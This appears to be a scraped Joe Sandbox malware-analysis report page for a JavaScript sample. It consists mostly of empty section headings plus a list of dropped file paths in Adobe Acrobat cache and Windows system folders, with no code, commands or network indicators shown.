
Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 4328285711855619485.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6409791f-34f9-454d-a118-8f5a24d6fece.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.652

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
4328285711855619485.js